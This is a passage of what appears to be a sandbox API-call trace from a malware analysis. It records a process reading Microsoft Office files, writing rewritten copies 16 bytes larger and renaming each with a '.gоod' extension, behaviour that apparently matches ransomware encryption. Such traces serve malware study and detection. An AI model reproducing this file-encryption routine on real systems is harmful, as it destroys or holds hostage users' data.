(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0196.197] GetFileType (hFile=0x834) returned 0x1 [0196.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0196.197] GetFileType (hFile=0x834) returned 0x1 [0196.197] ReadFile (in: hFile=0x834, lpBuffer=0x369fa68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x369fa68*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0196.460] CloseHandle (hObject=0x834) returned 1 [0196.460] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", lpFilePart=0x0) returned 0x47 [0196.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0196.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0196.460] GetFileType (hFile=0x834) returned 0x1 [0196.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0196.460] GetFileType (hFile=0x834) returned 0x1 [0196.461] WriteFile (in: hFile=0x834, lpBuffer=0x35a7dc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x35a7dc8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0196.461] CloseHandle (hObject=0x834) returned 1 [0196.461] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", lpFilePart=0x0) returned 0x47 [0196.461] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one.gоod", lpFilePart=0x0) returned 0x4c [0196.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0196.461] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x714f7bcf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2bd8)) returned 1 [0196.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0196.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one.gоod")) returned 1 [0196.462] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS", lpFilePart=0x0) returned 0x3d [0196.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0196.462] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css"), fInfoLevelId=0x0, lpFileInformation=0x3697c98 | out: lpFileInformation=0x3697c98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0196.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0196.463] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS", lpFilePart=0x0) returned 0x3d [0196.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0196.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0196.463] GetFileType (hFile=0x834) returned 0x1 [0196.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0196.463] GetFileType (hFile=0x834) returned 0x1 [0196.463] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0196.464] ReadFile (in: hFile=0x834, lpBuffer=0x3698c90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3698c90*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0196.465] CloseHandle (hObject=0x834) returned 1 [0196.491] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS", lpFilePart=0x0) returned 0x3d [0196.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0196.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0196.493] GetFileType (hFile=0x834) returned 0x1 [0196.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0196.493] GetFileType (hFile=0x834) returned 0x1 [0196.493] WriteFile (in: hFile=0x834, lpBuffer=0x37156e8*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x37156e8*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0196.494] CloseHandle (hObject=0x834) returned 1 [0196.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS", lpFilePart=0x0) returned 0x3d [0196.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS.gоod", lpFilePart=0x0) returned 0x42 [0196.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0196.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x715441b2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0196.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0196.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css.gоod")) returned 1 [0196.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", lpFilePart=0x0) returned 0x3d [0196.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0196.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), fInfoLevelId=0x0, lpFileInformation=0x3716998 | out: lpFileInformation=0x3716998*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228fa)) returned 1 [0196.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0196.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", lpFilePart=0x0) returned 0x3d [0196.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0196.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0197.116] GetFileType (hFile=0x834) returned 0x1 [0197.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0197.116] GetFileType (hFile=0x834) returned 0x1 [0197.117] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0197.117] ReadFile (in: hFile=0x834, lpBuffer=0x394e390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x394e390*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0197.138] CloseHandle (hObject=0x834) returned 1 [0197.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", lpFilePart=0x0) returned 0x3d [0197.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0197.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0197.138] GetFileType (hFile=0x834) returned 0x1 [0197.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0197.138] GetFileType (hFile=0x834) returned 0x1 [0197.138] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x228fa [0197.138] WriteFile (in: hFile=0x834, lpBuffer=0x3951b18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3951b18*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0197.139] CloseHandle (hObject=0x834) returned 1 [0197.139] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", lpFilePart=0x0) returned 0x3d [0197.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0197.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0197.139] GetFileType (hFile=0x834) returned 0x1 [0197.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0197.140] GetFileType (hFile=0x834) returned 0x1 [0197.166] ReadFile (in: hFile=0x834, lpBuffer=0x3610bf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3610bf8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0203.436] CloseHandle (hObject=0x834) returned 1 [0203.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", lpFilePart=0x0) returned 0x3d [0203.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0203.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0203.436] GetFileType (hFile=0x834) returned 0x1 [0203.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0203.436] GetFileType (hFile=0x834) returned 0x1 [0203.436] WriteFile (in: hFile=0x834, lpBuffer=0x325c640*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x325c640*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0203.436] CloseHandle (hObject=0x834) returned 1 [0203.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", lpFilePart=0x0) returned 0x3d [0203.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS.gоod", lpFilePart=0x0) returned 0x42 [0203.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0203.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x75796d92, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2290a)) returned 1 [0203.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0203.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs.gоod")) returned 1 [0203.438] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", lpFilePart=0x0) returned 0x43 [0203.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0203.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), fInfoLevelId=0x0, lpFileInformation=0x377f480 | out: lpFileInformation=0x377f480*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21c80)) returned 1 [0203.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0203.438] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", lpFilePart=0x0) returned 0x43 [0203.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0203.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0203.438] GetFileType (hFile=0x834) returned 0x1 [0203.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0203.439] GetFileType (hFile=0x834) returned 0x1 [0203.439] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0203.439] ReadFile (in: hFile=0x834, lpBuffer=0x377f888, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x377f888*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0203.442] CloseHandle (hObject=0x834) returned 1 [0203.442] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", lpFilePart=0x0) returned 0x43 [0203.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0203.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0203.442] GetFileType (hFile=0x834) returned 0x1 [0203.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0203.442] GetFileType (hFile=0x834) returned 0x1 [0203.442] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x21c80 [0203.443] WriteFile (in: hFile=0x834, lpBuffer=0x3791828*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3791828*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0203.443] CloseHandle (hObject=0x834) returned 1 [0203.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", lpFilePart=0x0) returned 0x43 [0203.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0203.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0203.444] GetFileType (hFile=0x834) returned 0x1 [0203.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0203.444] GetFileType (hFile=0x834) returned 0x1 [0203.444] ReadFile (in: hFile=0x834, lpBuffer=0x37951b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x37951b0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0203.588] CloseHandle (hObject=0x834) returned 1 [0203.588] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", lpFilePart=0x0) returned 0x43 [0203.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0203.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0203.588] GetFileType (hFile=0x834) returned 0x1 [0203.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0203.588] GetFileType (hFile=0x834) returned 0x1 [0203.588] WriteFile (in: hFile=0x834, lpBuffer=0x3376b88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3376b88*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0203.588] CloseHandle (hObject=0x834) returned 1 [0203.588] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", lpFilePart=0x0) returned 0x43 [0203.588] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS.gоod", lpFilePart=0x0) returned 0x48 [0203.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0203.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x758ee45a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x21c90)) returned 1 [0203.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0203.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs.gоod")) returned 1 [0203.590] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", lpFilePart=0x0) returned 0x44 [0203.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0203.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), 